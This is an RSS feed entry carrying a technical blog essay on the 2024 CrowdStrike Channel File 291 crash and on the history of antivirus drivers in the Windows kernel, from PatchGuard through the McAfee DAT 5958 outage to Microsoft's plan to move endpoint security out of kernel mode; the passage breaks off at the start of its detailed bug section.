<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: edr</title><description>Posts tagged edr.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:11 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/edr/rss.xml" rel="self" type="application/rss+xml"/><item><title>Seventy-Eight Minutes That Evicted Antivirus From the Windows Kernel</title><link>https://paragmali.com/blog/seventy-eight-minutes-that-evicted-antivirus-from-the-window/</link><guid isPermaLink="true">https://paragmali.com/blog/seventy-eight-minutes-that-evicted-antivirus-from-the-window/</guid><description>How a CrowdStrike channel-file update on July 19, 2024 collapsed twenty years of resistance to evicting third-party AV from the Windows kernel.</description><pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate><content:encoded>
At 04:09 UTC on July 19, 2024, a CrowdStrike Falcon channel-file update -- not a driver update, but a small data file consumed by an in-kernel interpreter -- crashed approximately 8.5 million Windows hosts in seventy-eight minutes. The technical bug was a parameter count mismatch the content validator missed; the architectural bug was that the dangerous code was already in the kernel. Microsoft&apos;s response, the Windows Resiliency Initiative, commits to a multi-year migration of third-party endpoint security out of kernel mode -- a Vista-era idea finally given political license to ship. Whether user-mode EDR with hypervisor-assisted introspection can match twenty-five years of kernel-mode hooking coverage is the article&apos;s open architectural question, and the honest mid-2026 answer is &quot;we do not yet know.&quot;
&lt;h2&gt;1. 04:09 UTC, Friday, July 19, 2024&lt;/h2&gt;
&lt;p&gt;At 04:09 UTC on Friday, July 19, 2024, a CrowdStrike Falcon Cloud release pipeline pushed a &lt;em&gt;Rapid Response Content&lt;/em&gt; file -- not a sensor binary, not a driver update, but a small piece of data named in the &lt;code&gt;C-00000291-*.sys&lt;/code&gt; channel-file naming convention -- to the production rollout channel for Falcon Sensor on Windows [@cs-pir-2024-07-24]. The release engineer at the rollout console saw the indicator move from staging to production. Sixty-six minutes later, by Microsoft&apos;s own count, approximately 8.5 million Windows hosts had bug-checked and were either rebooting into a kernel panic or already stuck in one [@ms-bradsmith-2024-07-20]. Delta and United pulled gates. The U.K. National Health Service diverted patients away from impacted trusts. Public-safety answering points went degraded across several U.S. states [@crs-if12717-everycrsreport]. CrowdStrike&apos;s release pipeline reverted the bad content at 05:27 UTC -- seventy-eight minutes after it had been pushed -- and the rollout indicator on the CrowdStrike side went from red back to green [@cs-pir-2024-07-24]. The rollout indicator on every customer machine that had already received the bad content went, and stayed, blue. The dangerous code was already in the kernel; the update had only handed it a fatal input.&lt;/p&gt;
&lt;p&gt;That single fact -- that a &lt;em&gt;content&lt;/em&gt; update could brick eight and a half million machines without the code path that consumed the content ever being treated as a code path -- is the whole reason this article exists.&lt;/p&gt;
&lt;h3&gt;The numbers, anchored to primary sources&lt;/h3&gt;
&lt;p&gt;Brad Smith, Microsoft&apos;s vice chair and president, published his &quot;8.5 million Windows devices&quot; figure on July 20, 2024 -- the morning after the incident -- and the phrase is unchanged in any Microsoft document since: &lt;em&gt;&quot;we currently estimate that CrowdStrike&apos;s update affected 8.5 million Windows devices, or less than one percent of all Windows machines&quot;&lt;/em&gt; [@ms-bradsmith-2024-07-20]. The U.S. Government Accountability Office later framed the incident as &lt;em&gt;&quot;potentially one of the largest IT outages in history&quot;&lt;/em&gt; [@gao-24-107733]. The U.S. Cybersecurity and Infrastructure Security Agency opened a running advisory the same day, anchored to its own July 19, 2024 alert, that has been updated continuously since [@cisa-alert-2024-07-19]. The Congressional Research Service&apos;s IF12717 brief lays out the public-safety blast radius -- FAA ground stops, 911 PSAP degradation, hospital systems falling back to paper -- and Adam Meyers, CrowdStrike&apos;s Senior Vice President for Counter Adversary Operations, was sworn in before the House Homeland Security Committee&apos;s Cybersecurity Subcommittee on September 24, 2024 to answer for it [@crs-if12717-everycrsreport, @homeland-hearing-page, @cyberscoop-meyers].&lt;/p&gt;
&lt;h3&gt;The fault, as Microsoft&apos;s dump shows it&lt;/h3&gt;
&lt;p&gt;Eight days after the outage, on July 27, 2024, Microsoft&apos;s security team published a primary-source post-mortem [@ms-secblog-2024-07-27]. The dump&apos;s load-bearing fields, condensed and relabeled below for readability (Microsoft&apos;s actual labels are &lt;code&gt;READ_ADDRESS&lt;/code&gt;, &lt;code&gt;IMAGE_NAME&lt;/code&gt;, &lt;code&gt;FAULTING_MODULE&lt;/code&gt;, with the faulting instruction inside the &lt;code&gt;.trap&lt;/code&gt; disassembly and &lt;code&gt;KiPageFault&lt;/code&gt; inside the stack trace):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;READ_ADDRESS: ffff840500000074 Paged pool
IMAGE_NAME:   csagent.sys
FAULTING_IP:  csagent+e14ed
              mov  r9d, dword ptr [r8]
CALLED_FROM:  nt!KiPageFault+0x369
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read low to high, every line answers a different question. &lt;code&gt;csagent.sys&lt;/code&gt; is the CrowdStrike Falcon kernel driver. &lt;code&gt;csagent+e14ed&lt;/code&gt; is the offset of the faulting instruction inside that driver. &lt;code&gt;mov r9d, dword ptr [r8]&lt;/code&gt; is that instruction -- a single x86-64 move that loads a 32-bit value from the memory address in register &lt;code&gt;r8&lt;/code&gt; into register &lt;code&gt;r9d&lt;/code&gt;. The address in &lt;code&gt;r8&lt;/code&gt; was &lt;code&gt;0xffff840500000074&lt;/code&gt;, in the high half of the kernel virtual address space, which the labelling &quot;Paged pool&quot; suggests the memory manager classifies as paged kernel memory -- but at that specific virtual address, on this machine, at this instant, no page table entry mapped a physical page. The CPU raised a page fault. Windows delivered the fault to &lt;code&gt;nt!KiPageFault+0x369&lt;/code&gt;. The kernel bug-checked with &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; [@ms-secblog-2024-07-27, @ms-bradsmith-2024-07-20].&lt;/p&gt;
&lt;p&gt;There is one piece of information the WinDBG dump does &lt;em&gt;not&lt;/em&gt; publish, and the article is going to be careful about it: the IRQL value at the moment of the fault. No primary source records whether &lt;code&gt;csagent.sys&lt;/code&gt; was at PASSIVE_LEVEL, APC_LEVEL, DISPATCH_LEVEL, or higher when the page fault triggered. What every primary source agrees on is the &lt;em&gt;consequence&lt;/em&gt;: the fault occurred at an interrupt request level high enough that the kernel could not unwind to a structured exception handler in any meaningful way, and the operating system stopped. Treat any third-party post that asserts a specific IRQL value for Channel File 291 as speculation unless it cites a primary source that publishes the value.&lt;/p&gt;

sequenceDiagram
    participant Cloud as Falcon Cloud Rollout
    participant Sensor as Falcon Sensor (user mode)
    participant Driver as csagent.sys (kernel)
    participant Kernel as Windows Kernel
    participant Disk as Local Disk
    Cloud-&amp;gt;&amp;gt;Sensor: 04:09 UTC push of Channel File 291
    Sensor-&amp;gt;&amp;gt;Disk: Persist channel file
    Sensor-&amp;gt;&amp;gt;Driver: Load Template Instance into in-kernel interpreter
    Driver-&amp;gt;&amp;gt;Driver: Index 21st parameter slot
    Driver-&amp;gt;&amp;gt;Kernel: Dereference unmapped kernel address 0xffff840500000074
    Kernel-&amp;gt;&amp;gt;Kernel: nt!KiPageFault, then bug check 0x50
    Note over Kernel: PAGE_FAULT_IN_NONPAGED_AREA, host blue screens
    Cloud-&amp;gt;&amp;gt;Cloud: 05:27 UTC, revert bad content
    Note over Cloud,Disk: New hosts are saved, already-affected hosts are not
    Disk-&amp;gt;&amp;gt;Driver: On reboot, csagent.sys re-reads the persisted file
    Driver-&amp;gt;&amp;gt;Kernel: Same fault path executes again
&lt;p&gt;The persistence-across-reboot pathology is the part most contemporary coverage understated. CrowdStrike reverted the bad content from the cloud rollout pipeline 78 minutes after pushing it [@cs-pir-2024-07-24]. But the file was already on disk on every machine that had received it. On reboot, &lt;code&gt;csagent.sys&lt;/code&gt; loaded again, parsed the persisted file again, and bug-checked again. The fix required either a manual safe-mode deletion -- the canonical &quot;boot, delete &lt;code&gt;C-00000291*.sys&lt;/code&gt;, reboot&quot; runbook that circulated on Reddit, social media, and vendor advisories that morning -- or, later, Microsoft&apos;s purpose-built recovery tool [@mslearn-qmr].&lt;/p&gt;
&lt;p&gt;That is what happened. The next question -- the one this article exists to answer -- is &lt;em&gt;why&lt;/em&gt; the dangerous code was already in the kernel in the first place, what twenty-five years of architectural decisions put it there, and what it took to begin to undo those decisions. To get there, we have to start in 1999.&lt;/p&gt;
&lt;h2&gt;2. Why Antivirus Lives in the Kernel&lt;/h2&gt;
&lt;p&gt;Imagine you are a security engineer in 1999. Your assignment is to detect a virus that has installed itself between the user-mode file APIs and the on-disk file system, so that when a scanner running as a user reads the file, the virus serves up a clean copy of the bytes and hides the infected ones. Where do you put the observer?&lt;/p&gt;
&lt;p&gt;If you think about it for a minute, you converge on the same answer Microsoft, Symantec, Network Associates, Trend Micro, and every other antivirus vendor converged on in the late 1990s: you put the observer &lt;em&gt;below&lt;/em&gt; the thing that is lying. In Windows terms, &quot;below&quot; means kernel mode. On x86, that is Ring 0. In NT terminology, that is the privilege level at which all the operating system primitives -- the file system, the process manager, the memory manager -- actually live.&lt;/p&gt;

A per-processor priority value Windows uses to gate code execution against hardware and software interrupts. Code running at PASSIVE_LEVEL (zero) can be preempted by almost anything; code running at DISPATCH_LEVEL or higher cannot take page faults on pageable memory and must complete quickly. Kernel drivers must obey strict IRQL rules; violations -- such as touching pageable memory at DISPATCH_LEVEL -- produce immediate bug checks rather than recoverable exceptions.
&lt;h3&gt;The 1999 to 2003 transition&lt;/h3&gt;
&lt;p&gt;The first generation of Windows antivirus, on Windows 9x and NT 4.0, ran almost entirely in user mode and lost the argument with the first rootkits to ship in the wild. A scanner that runs in the same protection ring as the malware it is hunting cannot, by construction, see what the malware has chosen to hide from anything in that ring. The fix, by the late 1990s and the early 2000s, was to push the scanner into Ring 0.&lt;/p&gt;
&lt;p&gt;Two specific Windows kernel primitives carried that fix.&lt;/p&gt;
&lt;p&gt;The first was the &lt;em&gt;minifilter&lt;/em&gt;: a kernel driver attached to the I/O manager&apos;s file system stack at a specific altitude, intercepting &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;, &lt;code&gt;IRP_MJ_READ&lt;/code&gt;, &lt;code&gt;IRP_MJ_WRITE&lt;/code&gt;, and friends, so the antivirus could examine the file &lt;em&gt;before&lt;/em&gt; the file system returned the bytes to user mode [@mslearn-filter-drivers]. Microsoft formalized the Filter Manager as the supported way to do this -- and by the mid-2000s the legacy &lt;code&gt;sfilter&lt;/code&gt; model was deprecated in favor of the structured minifilter model. Every shipping Windows antivirus in 2026 still has a minifilter driver loaded as part of its boot-time stack.&lt;/p&gt;

A kernel driver registered through the Windows Filter Manager that attaches to one or more file system volumes at a specific *altitude* (a Microsoft-assigned numeric priority) and receives pre-operation and post-operation callbacks for each file system operation. Antivirus minifilters use this hook point to scan a file before user-mode code sees the bytes returned from disk.
&lt;p&gt;The second was the &lt;em&gt;process-create kernel callback&lt;/em&gt;. Beginning with Windows 2000 and extended for synchronous block authority in Windows Vista SP1 (alongside Windows Server 2008), the documented function &lt;code&gt;PsSetCreateProcessNotifyRoutine&lt;/code&gt; (and later &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;) lets a kernel driver register to be called whenever the kernel is about to create a new process, with the option in the extended variant to set &lt;code&gt;CreationStatus = STATUS_ACCESS_DENIED&lt;/code&gt; and synchronously block the create [@mslearn-pssetcreateprocessnotifyroutine, @mslearn-pssetcreateprocessnotifyroutineex]. This is the kernel primitive that lets an EDR vendor say &quot;process X is about to spawn &lt;code&gt;cmd.exe&lt;/code&gt; with these arguments, and we are denying the create&quot; without ever exiting the kernel. Companion callbacks exist for image-load events, thread-create events, registry operations [@mslearn-cmregistercallback], and handle-access events [@mslearn-obregistercallbacks]. Together they form the documented Generation-2 vendor API surface for EDR primitives, the architectural substrate every modern Windows EDR sits on top of.&lt;/p&gt;
&lt;h3&gt;The rootkit pressure&lt;/h3&gt;
&lt;p&gt;The second pressure that pushed antivirus down into the kernel came from the attackers themselves. By the mid-2000s, kernel-mode rootkits were a routine part of the malware writer&apos;s toolkit. The most pernicious variants used a technique called Direct Kernel Object Manipulation: instead of installing themselves anywhere a defender could observe via documented APIs, they walked Windows internal data structures and unlinked themselves from the lists the operating system traversed when answering questions like &quot;what processes are running?&quot; or &quot;what kernel modules are loaded?&quot;&lt;/p&gt;

A rootkit technique that modifies in-memory Windows kernel data structures directly -- for example, unlinking an `EPROCESS` block from the active process list so that `nt!PsActiveProcessHead` traversal does not enumerate the malicious process. Because the modification is invisible to any code that asks the kernel to enumerate via the documented APIs, the only defenders that can see DKOM are those that walk kernel memory authoritatively from a vantage equal to or below the rootkit itself.
&lt;p&gt;To catch a Ring-0 rootkit, you needed a Ring-0 defender. Symantec, McAfee, Trend Micro, and Kaspersky all converged on the same answer in the early 2000s, and every commercial Windows EDR architecture in 2026 still reflects that convergence.The lineage from DOS-era signature scanners (one-process, no privilege boundary) through Win9x scanners (no privilege boundary either) through NT-era minifilters (a privilege boundary, with the scanner across the boundary from the malware) to 2024-era in-kernel content interpreters (a privilege boundary, with the scanner &lt;em&gt;and&lt;/em&gt; a rule engine &lt;em&gt;and&lt;/em&gt; an unsigned content channel all on the same side of the boundary) is a small case study in how an architecture persists long after the original constraints relax.&lt;/p&gt;
&lt;p&gt;Architectural decisions made under one set of constraints have a way of outliving the constraints that produced them. The 1999 decision to put antivirus in the kernel was rational at the time -- it was the only place from which you could authoritatively see what a process or a file system actually did. Twenty-five years later, that decision produced &lt;code&gt;csagent.sys&lt;/code&gt; running in &lt;code&gt;Ring 0&lt;/code&gt; on 8.5 million machines, indexing past the end of a parameter array on a Friday morning in July.&lt;/p&gt;
&lt;p&gt;But the move into the kernel did not go uncontested. Microsoft itself spent two years between 2005 and 2007 trying to claw back at least part of that ground. The first attempt was called Kernel Patch Protection, and the political fight it produced is the story of the next section.&lt;/p&gt;
&lt;h2&gt;3. The Vista PatchGuard Battle, 2005-2007&lt;/h2&gt;

Either everybody has access to the kernel, or nobody does. -- Stephen Toulouse, Microsoft senior product manager, InformationWeek, October 2006 [@informationweek-2006-toulouse]
&lt;p&gt;The political question at the heart of this article is twenty years old. It is also binary in a way that very few political questions ever are: Microsoft&apos;s stated position in 2006 was not &quot;we will permit some vendors to modify the kernel and deny others,&quot; nor &quot;we will run an accreditation scheme,&quot; nor &quot;we will charge for kernel-mode signing certificates.&quot; The stated position was that &lt;em&gt;either&lt;/em&gt; every vendor on Earth could modify the Windows kernel &lt;em&gt;or&lt;/em&gt; no vendor could, and the only stable answer was the second one. That argument, made by a Microsoft senior product manager in trade press in 2006, reverberates without modification into the November 2024 Windows Resiliency Initiative announcement.&lt;/p&gt;
&lt;h3&gt;What Kernel Patch Protection actually does&lt;/h3&gt;
&lt;p&gt;Kernel Patch Protection -- commonly called PatchGuard -- shipped with x64 editions of Windows XP, Windows Server 2003 Service Pack 1, and the launch x64 edition of Windows Vista, beginning in 2005 [@wiki-kpp]. Microsoft updated it in August 2007 via Security Advisory 932596, which is the canonical Microsoft primary document for the program [@ms-advisory-932596].&lt;/p&gt;

A Windows kernel feature on x64 builds that periodically verifies the integrity of selected critical kernel structures -- the System Service Descriptor Table (SSDT), the Interrupt Descriptor Table (IDT), the Global Descriptor Table (GDT), the kernel image, the Hardware Abstraction Layer (HAL), and the NDIS network stack. If PatchGuard detects modification it triggers bug check `0x109` `CRITICAL_STRUCTURE_CORRUPTION` and the operating system stops [@wiki-kpp].
&lt;p&gt;What PatchGuard &lt;em&gt;does&lt;/em&gt; is enforce an invariant: third-party code may not modify a specific list of kernel data structures, and if it does, the system bug-checks. What PatchGuard &lt;em&gt;does not&lt;/em&gt; do is prevent third-party drivers from loading. PatchGuard is a structural integrity check, not a load-time policy. The Vista-era plan was for vendors to migrate from inline hooks of the SSDT to the documented callback APIs of the previous section -- &lt;code&gt;PsSetCreateProcessNotifyRoutine&lt;/code&gt;, &lt;code&gt;ObRegisterCallbacks&lt;/code&gt;, &lt;code&gt;CmRegisterCallback&lt;/code&gt;, the Filter Manager [@mslearn-pssetcreateprocessnotifyroutine, @mslearn-obregistercallbacks, @mslearn-cmregistercallback, @mslearn-filter-drivers] -- and &lt;code&gt;csagent.sys&lt;/code&gt; is the lineal descendant of that migration: a fully documented, fully callback-based, fully Generation-2 driver. PatchGuard did exactly what it was designed to do, and &lt;code&gt;csagent.sys&lt;/code&gt; was perfectly compatible with it.&lt;/p&gt;
&lt;h3&gt;The political fight&lt;/h3&gt;
&lt;p&gt;Symantec and McAfee did not see it that way in 2005. To them, PatchGuard was Microsoft using a security feature to advantage its own emerging Microsoft Forefront Client Security antivirus product against the entire third-party industry. The complaint escalated to the European Commission in October 2006 [@wiki-kpp]. Stephen Toulouse, then a Microsoft senior product manager, replied in InformationWeek with the line that anchors this section: &lt;em&gt;&quot;Either everybody has access to the kernel, or nobody does. Malware writers exploit the same interfaces to access Windows kernel, a threat that Microsoft says outweighs the benefits. Modifying the kernel also compromises Windows performance, according to the company&quot;&lt;/em&gt; [@informationweek-2006-toulouse]. Microsoft&apos;s binary-symmetry position was that any vetting scheme -- &quot;trusted vendors get kernel access&quot; -- would simply produce malware that pretended to be a trusted vendor. The only stable equilibria were &quot;everyone&quot; and &quot;no one.&quot; Microsoft chose &quot;no one for the things PatchGuard protects,&quot; and then opened a parallel migration path of documented callback APIs as the supported alternative.&lt;/p&gt;

The Symantec and McAfee complaints in 2006 were filed in the wake of Microsoft&apos;s own 2005 entry into the corporate antivirus market with what became Forefront Client Security. The trade press read it as the same competitive grievance Netscape filed against Microsoft a decade earlier: a platform owner introducing first-party products into a market the platform owner also regulated. Gartner&apos;s John Pescatore framed the worry, quoted in the same InformationWeek piece, as Microsoft becoming *&quot;the layer between the user and the security products&quot;* [@informationweek-2006-toulouse]. The European Commission opened an inquiry; Microsoft compromised by documenting the callback APIs and shipping the August 2007 update to KPP [@ms-advisory-932596]. The two AV vendors stayed in business; their kernel hooks moved from SSDT patches to `PsSetCreateProcessNotifyRoutine` calls. Twenty years later, the same two vendors -- both still selling Windows EDR products -- are now publicly endorsing Microsoft&apos;s move to take *all* third-party EDR out of the kernel. The political ground really has shifted; we will see by how much in section 6.
&lt;h3&gt;The lesson Microsoft drew, and the lesson it did not yet draw&lt;/h3&gt;
&lt;p&gt;The 2005 to 2007 round produced a real, durable architectural lesson: &lt;em&gt;documented APIs are stabler than hooks&lt;/em&gt;. A vendor who wrote a driver that called &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; could rely on Microsoft to preserve the API across Windows builds. A vendor who wrote a driver that patched the SSDT pointer table directly could rely on the next Windows service pack to break it without warning, or now on PatchGuard to bug-check the host. Every shipping Windows EDR in 2026 lives downstream of that lesson -- their kernel drivers use the documented callback APIs and they do not patch kernel structures inline.&lt;/p&gt;
&lt;p&gt;But there was a second lesson Microsoft did not draw in 2005. The PatchGuard fight was about &lt;em&gt;technique&lt;/em&gt; (do not patch the SSDT) and it stopped there. It did not pose the deeper question: &lt;em&gt;should third-party kernel drivers exist at all for AV?&lt;/em&gt; That question -- whether vendor-authored Ring-0 code is a fleet-scale reliability liability regardless of whether it hooks or uses callbacks -- was visible in principle in 2005 and ignored. Microsoft would not pose it publicly for another nineteen years. What changed, in the meantime, was a slow drip of failures that should have made the question unavoidable and somehow did not. That drip is the subject of section 4.&lt;/p&gt;
&lt;h2&gt;4. Fourteen Years of Kernel-Driver Disasters&lt;/h2&gt;
&lt;p&gt;If the kernel-mode antivirus architecture was a 1999 design choice, you would expect it to have aged badly. It did. The pattern played out generation after generation, vendor after vendor, year after year, with the same general shape: a vendor pushed content; the vendor kernel driver consumed the content; the content had a bug the validator missed; the driver crashed the kernel; the fleet went down. The most consequential single instance of the pattern, before July 19, 2024, happened on April 21, 2010 with McAfee VirusScan and a daily virus definition update named DAT 5958.&lt;/p&gt;
&lt;h3&gt;McAfee DAT 5958, April 21, 2010&lt;/h3&gt;
&lt;p&gt;McAfee shipped its 5958 DAT file. The file misidentified &lt;code&gt;svchost.exe&lt;/code&gt; -- the legitimate Windows service host -- as &lt;code&gt;W32/Wecorl.a&lt;/code&gt;, a network worm. The McAfee kernel driver quarantined &lt;code&gt;svchost.exe&lt;/code&gt; per the false positive. On Windows XP SP3 fleets at hospitals, police departments, schools, and government agencies across the U.S., the result was an immediate reboot loop and total loss of networking [@uscert-mcafee-2010, @sans-isc-8656, @askperf-mcafee].&lt;/p&gt;
&lt;p&gt;US-CERT&apos;s contemporaneous advisory captured the failure mode in a single sentence: &lt;em&gt;&quot;US-CERT is aware of public reports indicating that McAfee DAT release 5958 is incorrectly identifying the valid system file, C:\Windows\system32\svchost.exe, as containing malicious code... Symptoms include a denial-of-service condition when the McAfee software attempts to clean the file&quot;&lt;/em&gt; [@uscert-mcafee-2010]. SANS&apos;s Internet Storm Center noted the same morning that &lt;em&gt;&quot;DAT file version 5958 is causing widespread problems with Windows XP SP3. The affected systems will enter a reboot loop and lose all network access&quot;&lt;/em&gt; [@sans-isc-8656]. Microsoft&apos;s own AskPerf team, in a TechCommunity post dated April 21, 2010, walked through the recovery steps and the EXTRA.DAT remediation [@askperf-mcafee].&lt;/p&gt;
&lt;p&gt;Here is the structural point, and it matters enormously for the rest of this article: &lt;em&gt;the McAfee driver was doing nothing PatchGuard would have prevented&lt;/em&gt;. It was a fully Generation-2 design, using documented kernel callback APIs, with no inline kernel patching whatsoever. The 2005 PatchGuard fight was politically irrelevant to the 2010 McAfee outage, because PatchGuard was answering a different question -- &quot;does the vendor patch SSDT entries inline?&quot; -- when the question that produced the McAfee outage was &quot;does the vendor&apos;s signed, callback-using, fully-supported kernel driver act on data that turns out to be wrong?&quot; The 2005 fix did not address the 2010 fault.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; McAfee 2010 and CrowdStrike 2024 are architecturally identical: a vendor pushed content; the vendor kernel driver consumed the content; the content was wrong in a way that the validator did not catch; the driver crashed the fleet. The 2005 PatchGuard fight had been about a different problem entirely. The architecture that produced both failures -- &quot;vendor-authored Ring-0 code consuming cloud-pushed updates&quot; -- was untouched by the 2005 fix and would not be touched again until 2024.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The mid-2010s tail&lt;/h3&gt;
&lt;p&gt;Between 2010 and 2024 the same pattern reappeared at smaller scale, episodically, across the vendor cohort. Symantec, Trend Micro, Kaspersky, and Sophos each shipped at least one driver or definition update during this period that produced blue-screen reports on customer fleets. The Three Buddy Problem podcast, recorded on July 19, 2024 in the immediate aftermath of the CrowdStrike outage, opens with Costin Raiu drawing the line back from 2024 to 2010 explicitly: the lesson the industry promised itself after McAfee 5958 was &lt;em&gt;staged rollouts&lt;/em&gt;, and the lesson the industry actually implemented was &lt;em&gt;insufficient&lt;/em&gt; [@three-buddy-ep5].Raiu&apos;s framing on the podcast -- &quot;we had this exact discussion in 2010, and the answer everyone agreed on was staged rollouts, and here we are again&quot; -- is the cleanest single-sentence retrospective from inside the industry. The same week, Patrick Wardle was making the same point with macOS-side framing on his Objective-See blog [@wardle-objsee-0x7b] and at the August 2024 Black Hat USA talk whose slides he later published [@wardle-speakerdeck].&lt;/p&gt;
&lt;h3&gt;The Apple natural experiment, September 2024&lt;/h3&gt;
&lt;p&gt;Two months after CrowdStrike Channel File 291, Apple shipped macOS 15 Sequoia on September 16, 2024 with deprecated Application Firewall property-list interfaces [@bleepingcomputer-sequoia]. CrowdStrike Falcon for macOS, ESET Endpoint Security, Microsoft Defender for Mac, and SentinelOne all broke their network filtering [@securityweek-sequoia, @bleepingcomputer-sequoia]. Apple shipped macOS 15.0.1 on October 3, 2024, seventeen days later, restoring compatibility [@techcrunch-sequoia]. The TechCrunch report has Patrick Wardle on the record, framing the architectural difference in one line: &lt;em&gt;&quot;a fix for the networking issues that plagued the initial macOS 15 release... And to any Apple apologist who blamed 3rd-party vendors, you deserve to be slapped with a large trout as this was an Apple bug reported before GM&quot;&lt;/em&gt; [@techcrunch-sequoia].&lt;/p&gt;
&lt;p&gt;That second sentence is the load-bearing one. The Sequoia bug was a 1st-party regression in the framework boundary between macOS and third-party endpoint security tools. It degraded EDR features substantially -- network filtering disappeared on every affected host -- but no host kernel-panicked. None of the affected EDR vendor processes brought down macOS. None of the affected hosts entered a reboot loop. The same general failure mode as Channel File 291 produced a fundamentally different blast radius, and the only reason for the difference is architectural: Apple had moved third-party endpoint security out of macOS kernel mode in 2019 with the Endpoint Security framework [@apple-esf-docs]. We will return to ESF in section 7.&lt;/p&gt;

The macOS 15 Sequoia outage and the Windows Channel File 291 outage occurred within ten weeks of each other and shared the same general structure: a 1st-party platform event meeting a third-party security product loaded for runtime introspection. The Windows event panicked the kernel on 8.5 million hosts. The macOS event produced a feature regression that vendors patched out within three weeks and Apple repaired in 15.0.1. The two events are the article&apos;s strongest single comparative datum that architecture, not vendor reliability, was the variable.

timeline
    title Recurring kernel-driver and platform faults, 2005 to 2024
    2005 : PatchGuard ships on Windows x64
         : Symantec and McAfee escalate antitrust complaints
    2010 : McAfee DAT 5958 quarantines svchost.exe on Windows XP SP3
         : Fleet-scale reboot loops at hospitals, police, schools
    2014 : Various smaller vendor BSOD events in the long tail
    2019 : Apple ships macOS Catalina Endpoint Security framework
         : Third-party AV deprecated from kernel mode on macOS
    2024 : CrowdStrike Channel File 291 on July 19, 8.5M hosts
         : Apple ships macOS 15 Sequoia on September 16
         : macOS 15.0.1 restores AV compatibility on October 3
    2024 : Microsoft Ignite announces Windows Resiliency Initiative on November 19
&lt;h3&gt;CrowdStrike Channel File 291, July 19, 2024&lt;/h3&gt;
&lt;p&gt;By July 2024 the cumulative evidence had been building for fourteen years that vendor-authored Ring-0 code was a fleet-scale reliability liability. What was different about Channel File 291 was not the &lt;em&gt;kind&lt;/em&gt; of failure but the &lt;em&gt;scale&lt;/em&gt; and the &lt;em&gt;cost&lt;/em&gt;: 8.5 million hosts on Windows in 2024 versus what was likely a six-or-seven-figure XP SP3 fleet on McAfee in 2010, and a cost calculus that included Delta Air Lines, the U.K. NHS, multiple state 911 systems, and the global air-traffic-control flow that depends on Microsoft Windows running healthy [@cs-pir-2024-07-24, @gao-24-107733, @crs-if12717-everycrsreport]. The political license to do something architectural had finally arrived. What it took, in real-world failures, to surface the architectural answer was not new evidence -- the evidence had been overwhelming for years -- but a single event large enough to make the political cost of &lt;em&gt;not&lt;/em&gt; changing untenable.&lt;/p&gt;
&lt;p&gt;So: what exactly happened inside &lt;code&gt;csagent.sys&lt;/code&gt; on the morning of July 19, 2024? That technical reconstruction is the centerpiece of this article, and it occupies the next section.&lt;/p&gt;
&lt;h2&gt;5. Inside Channel File 291&lt;/h2&gt;
&lt;p&gt;The technical centerpiece. Start by staring at the same five-field summary, reformatted from Microsoft&apos;s July 27, 2024 crash-dump walkthrough [@ms-secblog-2024-07-27]:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;READ_ADDRESS: ffff840500000074 Paged pool
IMAGE_NAME:   csagent.sys
FAULTING_IP:  csagent+e14ed
              mov  r9d, dword ptr [r8]
CALLED_FROM:  nt!KiPageFault+0x369
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reading from low to high address, every line of that summary answers a different question. The complete line-by-line walkthrough is folded into the spoiler later in this section. First we have to understand what &lt;code&gt;csagent.sys&lt;/code&gt; was trying to do when it ran the instruction.&lt;/p&gt;

The Windows bug check raised when kernel code attempts to read from or write to a virtual address that has no valid mapping in the page tables. The &quot;nonpaged area&quot; naming is historical -- the bug check fires whenever any kernel-mode access touches an unmapped virtual address, regardless of which memory pool the address would have lived in if it had been valid.
&lt;h3&gt;What &lt;code&gt;csagent.sys&lt;/code&gt; was trying to do&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;csagent.sys&lt;/code&gt; is the CrowdStrike Falcon Sensor kernel driver, the Ring-0 component that has been part of the Falcon product since its earliest Windows releases. By 2024, this driver did considerably more than mediate file I/O and process creation. According to CrowdStrike&apos;s own Root Cause Analysis published on August 6, 2024, &lt;code&gt;csagent.sys&lt;/code&gt; includes a &lt;em&gt;Content Interpreter&lt;/em&gt; that runs at kernel privilege and consumes binary detection rules shipped from the Falcon Cloud [@cs-rca-2024-08-06]. CrowdStrike&apos;s terminology distinguishes two kinds of content delivery: &lt;em&gt;Sensor Content&lt;/em&gt;, which is bundled with each released sensor binary and updates at the sensor release cadence; and &lt;em&gt;Rapid Response Content&lt;/em&gt;, which is delivered via channel files like Channel File 291 and updates at a much faster cadence to keep ahead of novel adversary behavior [@cs-pir-2024-07-24]. Channel files are treated as data, not code -- but they are consumed by the Content Interpreter, which is code, running in the kernel.The Sensor Content versus Rapid Response Content distinction is the architectural detail that determines why a content update could reach the kernel at all. Sensor Content is signed and version-bumped together with the driver binary; Rapid Response Content is pushed independently and rapidly. The Falcon architecture used the Rapid Response Content channel to deliver Template Instances against a Template Type schema that the in-kernel Content Interpreter parsed. The channel-file delivery path bypassed the WHQL driver-signing scrutiny that the driver binary itself had received [@cs-pir-2024-07-24].&lt;/p&gt;

The CrowdStrike Falcon Sensor subsystem, resident inside `csagent.sys` at kernel privilege, that parses Rapid Response Content channel files at runtime. The interpreter reads a Template Instance (a binary payload of detection rules) and evaluates it against the corresponding Template Type schema declared in the sensor&apos;s compiled code. Detection rules thus take effect on a host whenever a new channel file is pushed from the Falcon Cloud, with no sensor binary update required.
&lt;h3&gt;The bug, exactly&lt;/h3&gt;
